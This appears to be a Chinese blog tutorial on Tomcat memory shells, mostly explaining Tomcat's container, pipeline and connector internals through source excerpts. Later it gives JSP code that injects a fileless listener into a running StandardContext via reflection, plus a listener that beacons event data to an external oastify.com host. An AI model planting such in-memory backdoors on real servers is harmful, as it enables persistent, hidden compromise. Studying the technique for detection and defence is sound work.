Tomcat内存马从入门到精通
这篇文章是我7月17日写的,先发出来吧。本文的技术是21年前的,我自己学习的输出笔记。如果你没学过,可以跟着我的思路来,但我更想表达的是我学习这个东西的思路,就是我是怎么学习的,这个比内容更重要。>谈不上精通,还有好多没写,但是已经不是当下的重点研究了,可以以Tomcat的学习研究为魔板套用到任何一个组件的漏洞挖掘上。全文写作没有跟着任何一个其他别人文章的思路来的,我是从头到尾自己分析的,图也是自己画的,我只是拿着以前的代码,然后去调试,因为可以看懂源码和Tomcat内的运行逻辑,然后以拿到的代码为基础,延伸出一些自己的思考。我学习Tomcat大概用了一周,学习内存马并写文章用了一周。如果想全面的去学习内存马可以去看https://xz.aliyun.com/t/11003#toc-10要想真正明白内存马,必须要先熟悉Tomcat,为此我特意从头到尾刷了一遍《Tomcat深入分析》对Tomcat结构有了一个比较详细的了解。我用大白话和图片给你讲解一下学习研究内存马或者看源码需要知道Tomcat中的哪些东西。几个重要的组件connector,container,service,server还有几个有助于理解源码的组件pipeline,valve
1.container和pipeline/valve
首先我们要理解Tomcat是由容器(Container)组成,从外到里分别逐层嵌套,Engine容器,Host容器,Context容器,Wrapper容器。一个Engine容器可以有多个虚拟主机容器(Host容器),一个主机(Host容器)可以有多个应用(Context容器),一个应用要有多个连接请求(Wrapper容器)。上面四个种容器都是Container的实现。
通常情况下上层容器与下层容器之间关系为父子容器,Host没有父容器,Wrapper没有子容器。
Tomcat提供给我们默认的类分别叫做StandardEngine,StandardHost, StandardContext, StandardWrapper。
pipeline是什么呢,中文名字是流水线,每个容器都有自己的pipeline,代表一个完成任务的管道。流水线上面有很多任务,具体任务是什么呢?就是Valve,中文名字是阀。其中Pipeline和Valve都是接口,对于Pipeline有一个标准实现StandardPipeline。对于Valve不同的容器有它自己的实现,比如StandardWrapper容器实现的StandardWrapperValve
我们通过StandardWrapper举个例子,见下文
StandardWrapper
StandardWrapper 对象的主要职责是:加载它表示的 servlet 并分配它的一个实例。该 Standardwrapper 不会调用 servlet 的 service 方法。这个任务留给StandardWrapperValve 对象,在 StandardWrapper 实例的基本阀门管道。StandardVrapperValve 对象通过调用 StandardWrapper的 allocate 方法获得Servlet 实例。在获得 Servlet 实例之后的 StandardwrapperValve 调用 servlet的 service 方法。
下面代码中关注:构造函数,类成员,allocate方法,loadService方法
public class StandardWrapper extends ContainerBase
implements ServletConfig, Wrapper, NotificationEmitter {
// 构造函数,我们的pipeline中加入基本的阀,每个pipeline中必须有一个基本阀
public StandardWrapper() {
super();
swValve=new StandardWrapperValve();
pipeline.setBasic(swValve);
broadcaster = new NotificationBroadcasterSupport();
}
// servlet类
protected volatile Servlet instance = null;
// 映射
protected final ArrayList<String> mappings = new ArrayList<>();
// 阀
protected StandardWrapperValve swValve;
@Override
public Servlet allocate() throws ServletException {
// ...
boolean newInstance = false;
// If not SingleThreadedModel, return the same instance every time
// 这里涉及多线程访问servlet的问题,我们不关心
if (!singleThreadModel) {
// Load and initialize our instance if necessary
if (instance == null || !instanceInitialized) {
synchronized (this) {
if (instance == null) {
try {
// 获取servlet
instance = loadServlet();
newInstance = true;
} catch (ServletException e) {
throw e;
}
}
if (!instanceInitialized) {
// 初始化servlet
initServlet(instance);
}
}
}
// 省略有关instancePool的代码,类似于线程池,复用servlet
return instancePool.pop();
}
}
public synchronized Servlet loadServlet() throws ServletException {
Servlet servlet;
try {
InstanceManager instanceManager = ((StandardContext)getParent()).getInstanceManager();
try {
servlet = (Servlet) instanceManager.newInstance(servletClass);
} catch (ClassCastException e) {
//...
}
initServlet(servlet);
// 事件通知机制,背后有listener监听
fireContainerEvent("load", this);
return servlet;
}
}
我们再看看StandardWrapperValve,主要关注invoke方法中的servlet获取,过滤链的创建和调用
final class StandardWrapperValve extends ValveBase {
@Override
public final void invoke(Request request, Response response)
throws IOException, ServletException {
boolean unavailable = false;
requestCount.incrementAndGet(); //请求数量
StandardWrapper wrapper = (StandardWrapper) getContainer(); // 获取wrapper
Servlet servlet = null; // servlet
Context context = (Context) wrapper.getParent(); // wrapper父容器,代表一个应用
// 检查application是否可用
// 检查servlet是否可用
//...
// 分配一个servlet实例来处理request请求
try {
if (!unavailable) {
servlet = wrapper.allocate(); // 上文我们分析的allocate方法
}
} catch (Exception e) {
// ...
}
// 设置一些属性
// ...
// 为请求创建一个过滤链
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
Container container = this.container;
try {
if ((servlet != null) && (filterChain != null)) {
if (context.getSwallowOutput()) {
// 不重要
} else {
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
// 执行过滤链逻辑
// 执行过程中也会嗲用servlet的service方法
filterChain.doFilter
(request.getRequest(), response.getResponse());
}
}
}
} catch (ClientAbortException | CloseNowException e) {
// ... 一些异常
} finally {
// ... 释放资源,重置时间
}
}
}
StandardWRapper的主要作用就是加载创建Servlet实例,以及一些关于Servlet的setter,getter方法
到目前为止我们捋顺一下逻辑
如果不是很清晰的话,就看下代码,注意最下面的代码部分
final class StandardContextValve extends ValveBase {
@Override
public final void invoke(Request request, Response response)
throws IOException, ServletException {
// .....
// 注意这里
wrapper.getPipeline().getFirst().invoke(request, response);
}
}
重复这种模式,container->pipeline->valve->container->pipeline->valve,看一下实际的调用栈
ok,我们再最后具体了解一下剩下的几个容器的作用,然后回到最上层的Connector
Context/Host/Engine
Context
一个应用程序有自己的资源,类加载器,管理器。所以StandardContext也要有这些内容
public class StandardContext extends ContainerBase
implements Context, NotificationEmitter {
public StandardContext() {
super();
pipeline.setBasic(new StandardContextValve());
broadcaster = new NotificationBroadcasterSupport();
// Set defaults
if (!Globals.STRICT_SERVLET_COMPLIANCE) {
// Strict servlet compliance requires all extension mapped servlets
// to be checked against welcome files
resourceOnlyServlets.add("jsp");
}
// 监听器
private String applicationListeners[] = new String[0];
private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();
// 初始化器
private Map<ServletContainerInitializer,Set<Class<?>>> initializers = new LinkedHashMap<>();
// ServletContext的标准实现,表示web应用程序的执行环境。这个类的一个实例与StandardContext的每个实例相关联。
protected ApplicationContext context = null;
// 过滤器配置
private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();
// 过滤器的定义信息
private Map<String, FilterDef> filterDefs = new HashMap<>();
// 类加载器
private Loader loader = null;
// 管理器
protected Manager manager = null;
// 资源
private NamingResourcesImpl namingResources = null;
// 访问参数
private final Map<String, String> parameters = new ConcurrentHashMap<>();
// ....等
}
@Override
protected synchronized void startInternal() throws LifecycleException {
// 该方法启动所有的线程
namingResources.start();
resourcesStart();
((Lifecycle) loader).start();
((Lifecycle) realm).start();
// 启动子容器
for (Container child : findChildren()) {
if (!child.getState().isAvailable()) {
child.start();
}
}
((Lifecycle) pipeline).start();
((Lifecycle) manager).start();
}
}
然后它还有一些后台线程热部署资源的东西,可以不用停机重新打包,自动更新资源
Host
主机就是一些路径处理,部署处理等等
Engine
引擎代表整个catalina的引擎
2.Server/Service
org.apache.catalina.Server代表catalina服务,其中有端口地址,开关服务,还可以添加很多service,有global资源,类加载器等等,作为一种统筹全局的类,这样就不必再单独启动连接器和容器了。
org.apache.catalina.Service代表服务,一个服务有一个容器和多个连接器,你可以添加不同协议的连接器,以便可以同时支持Http以及Https协议。
你有没有想过Service既然是服务,那和Context有什么关系?Context代表应用。一个服务可以有多个应用,可以这么理解,Service是一个统筹管理的角色,Context是具体执行的角色。
以上是Tomcat的结构,还有我们要和外界联系,连接处理等
3.Connector/Processor
Tomcat作为一个接受Http请求的软件,客户端过来连接,服务端需要连接动作。
你可以这么理解
前置
在看Tomcat连接器之前,先看一下更下面的部分,这样有助于理解一些东西
当然这是很老以前的模型了,一个线程作为一个Connector。现在你看源码的话都是用NIO连接。是一个多路复用的模型,效率极高。我可以简单给你普及一下,Nio中是以事件为驱动的,比如客户端建立连接事件,服务端接受请求事件,客户端读写事件等。其中服务端有一个Selector线程,专门用来接受不同请求对应的事件,然后分发给下面众多的Worker线程去执行。消息通知用异步的形式,就是不用一直等着你完成给我结果,我把任务给你,我该干啥干啥,你完成了再汇报给我。所以这种相比于传统模型多了一个多路复用,和异步通信,效率自然就高了。
Coyote
Tomcat默认使用Coyote连接器
从下往上看,第一排是EndPoint,EndPoint 是 Coyote 通信端点,即通信监听的接⼝,是具体Socket接收和发送处理器,是对传输层的抽象,因此EndPoint⽤来实现TCP/IP协议的。我们学过OSI七层模型,TCP/IP是网络层和传输层,最上面是应用层,落实到Tomcat中就是Http协议等的处理
再往上你看到了Http11Processor,默认情况下,Tomcat使用这个处理器,它会接收来⾃EndPoint的Socket,读取字节流解析成Tomcat Request和Response对象,并通过Adapter将其提交到容器处理。还有AjpProcessor,对应处理ajp协议。ajp协议就是一个加速版的http协议,效率高,集群的时候通常使用,但是Tomcat存在历史漏洞,使用此协议有风险。
当处理器处理协议的时候又提供了一些接口,表示为ProtocolHandler,Coyote 协议接⼝, 通过Endpoint 和 Processor , 实现针对具体协议的处理能⼒。Tomcat 按照协议和I/O 提供了6个实现类 : AjpNioProtocol ,AjpAprProtocol, AjpNio2Protocol , Http11NioProtocol ,Http11Nio2Protocol ,Http11AprProtocol。
最后来到CoyoteAdapter,可以看到连接器直接调用服务。
@Override
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res)
throws Exception {
Request request = (Request) req.getNote(ADAPTER_NOTES);
Response response = (Response) res.getNote(ADAPTER_NOTES);
if (request == null) {
// 创建request以及一些设置
}
if (connector.getXpoweredBy()) {
response.addHeader("X-Powered-By", POWERED_BY);
}
boolean async = false;
boolean postParseSuccess = false;
req.getRequestProcessor().setWorkerThreadName(THREAD_NAME.get());
try {
// Parse and set Catalina and configuration specific
// request parameters
postParseSuccess = postParseRequest(req, request, res, response);
if (postParseSuccess) {
//check valves if we support async
// 检查阀
request.setAsyncSupported(
connector.getService().getContainer().getPipeline().isAsyncSupported());
// Calling the container
// 调用服务,调用容器,调用流水线,调用StandardEngineValve
connector.getService().getContainer().getPipeline().getFirst().invoke(
request, response);
}
// ...
}
接下来就可以开始了学习内存马了
listener
我建议你先搭建一个Tomcat环境
https://blog.csdn.net/gaoqingliang521/article/details/108677301
我之前在Springboot环境下搭建的,没成功,也无法调试。不建议使用Springboot,直接用java+Tomcat。Tomcat9.0.55,jdk8u66可以,尝试Tomcat10.x没成功,希望你别踩坑。
我们先搞jsp内存马,将下面代码作为jsp文件,并访问,你如果想调试,应该可以在jsp上直接直接下断点。
<%
Field f = request.getClass().getDeclaredField("request");
f.setAccessible(true);//因为是protected
Request req = (Request) f.get(request);//反射获取值
StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext
ServletRequestListener listener = new ServletRequestListener() {
public void requestDestroyed(ServletRequestEvent sre) {
}
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
try {
Field reqField = req.getClass().getDeclaredField("request");
reqField.setAccessible(true);
// org.apache.catalina.connector.Request
Object reqObj = reqField.get(req);
// org.apache.catalina.connector.Response
HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj);
PrintWriter out = rep.getWriter();
out.println("listener_xjj_test");
}catch (Exception e){
e.printStackTrace();
}
}
};
context.addApplicationEventListener(listener);
%>
通过阅读代码,可以大致理解,我们通过jsp中的request,反射获取其Context,然后想其中添加一个我们自定义的监听器,监听器的逻辑是建立请求的时候执行代码。
1.首先这个request是哪来的?
查资料:JSP request是HttpServletRequest类型的隐式对象,即由web容器为每个JSP请求创建。
2.监听器是什么?
这个在前文没有给出,现在学一下、还记得前面的Context吗,在应用中我们设置大部分的监听器,在StandardContext中有监听器启动的函数listenerStart()。当然好奇的我们发现Host以及Engine也有相应的监听器,但是不多用处也不大。
3.如何通知监听器?
在生命周期中通过ContainerBase的fireXxxxEvent函数进行事件通知
4.都有哪些监听器?
在ContainerBase中:
LifecycleListener,ContainerListener,PropertyChangeListener,分别表示生命周期,容器,属性改变的时候进行事件通知,里面涉及到很多具体的东西,比如生命周期的各个阶段,容器中添加子容器父容器,类中字段属性等等他们进行改变时会通知监听器
在StandardContext中:
重写的方法fireRequestInitEvent和fireRequestDestroyEvent中找到ServletRequestListener,分别表示请求建立和销毁时会通知的监听器
大致就找到这些,至于为什么在容器中找监听器,大致因为容器是整个Tomcat运行的单位。引擎,主机,应用,servlet任何一个变化都会通知其所属的各个监听器。
5.如何注册监听器?
我们可以在Container的子类中找到addXxxListener()函数,用于注册监听器
到现在我们可以大致总结一下,如果我们可以在容器中注册我们自定义的监听器该多好,某个时间触发我们的监听器,就执行我们自定义的方法,也就是说我们写的jsp文件动态注册了个监听器到内存中,增加一个自删除的逻辑把文件删除。当然我相信可以注册的不仅仅只有监听器,一定还可以注册其他东西。而且监听器也不仅仅只是注册这ServletRequestListener一种。这都是后话了,先继续看这个。
6.OK,那反过来怎么写出的这个jsp文件?
首先我们明确目的:注册自定义监听器到内存中,监听器触发条件最好简单一些。
前提是我们jsp文件可以使用request,这个request是HttpServletRequest的实现,其中org.apache.catalina.connector.Request是之一,Coyote请求的包装器对象。可能老版本用外观模式封装了一层RequestFacade。我们可以通过Request拿到Host,Context,Wrapper
我们去搜addXxxListener函数
1)Wrapper/Host:
addNotificationListener(NotificationListener listener, NotificationFilter filter, Object object) - ok
2)Context:
addNotificationListener(NotificationListener listener, NotificationFilter filter, Object object) - ok
addWrapperListener(String listener) - pass
addWrapperLifecycle(String listener) - pass
addApplicationListener(String listener) - pass
addApplicationLifecycleListener(LifecycleListener listener) - ok
addApplicationEventListener(Object listener) - ok
3)公共:
addLifecycleListener(LifecycleListener listener) - ok
addContainerListener(ContainerListener listener) - ok
addPropertyChangeListener(PropertyChangeListener listener) - ok
除了传参是String外的Listener都可以注入
我这里在原先的基础上再尝试一个
<%@ page import="javax.servlet.ServletRequestListener"%>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.LifecycleListener" %>
<%@ page import="org.apache.catalina.LifecycleEvent" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.ProtocolException" %>
<%
Field f = request.getClass().getDeclaredField("request");
f.setAccessible(true);//因为是protected
Request req = (Request) f.get(request);//反射获取值
StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext
ServletRequestListener listener = new ServletRequestListener() {
public void requestDestroyed(ServletRequestEvent sre) {
}
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
try {
Field reqField = req.getClass().getDeclaredField("request");
reqField.setAccessible(true);
// org.apache.catalina.connector.Request
Object reqObj = reqField.get(req);
// org.apache.catalina.connector.Response
HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj);
PrintWriter out = rep.getWriter();
// rep.sendError(404);
out.println("listener_xjj_test");
}catch (Exception e){
e.printStackTrace();
}
}
};
LifecycleListener lifecycleListener = new LifecycleListener() {
@Override
public void lifecycleEvent(LifecycleEvent lifecycleEvent) {
try {
String url = String.format("http://%s.kpdqe2die2cb57xb28zkf1kp6gc70xom.oastify.com", lifecycleEvent.getData());
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("GET");
con.getResponseCode();
} catch (Exception e) {
e.printStackTrace();
}
}
};
// context.addApplicationEventListener(listener);
context.addLifecycleListener(lifecycleListener);
// context.addApplicationLifecycleListener(lifecycleListener);
%>
妈的,写了一堆全都没保存,想死的心都有了,下面的我就长话短说了,不拐弯墨迹了。可能错过很多细节,但是,活该我在网页上写文档。网页编辑器太傻逼了。我先在本地写,然后再传到网上去 ## filter 我们可以获取context,自然就可以通过context添加任何一个东西到我们运行的程序中,如果我们足够了解其内部逻辑的话,一切皆有可能。
如何注入一个Filter到程序呢?自然想到上文我们提到了ApplicationFilterChain,通过查找其createFilterChain代码,了解到如下重要信息:
- 过滤链添加的是ApplicationFilterConfig类型
添加之前在FilterMaps中要有相关信息
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { // Add the relevant path-mapped filters to this filter chain for (int i = 0; i < filterMaps.length; i++) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue; } if (!matchFiltersURL(filterMaps[i], requestPath)) continue; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } filterChain.addFilter(filterConfig); } // Add filters that match on servlet name second for (int i = 0; i < filterMaps.length; i++) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue; } if (!matchFiltersServlet(filterMaps[i], servletName)) continue; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } filterChain.addFilter(filterConfig); } // Return the completed filter chain return filterChain; }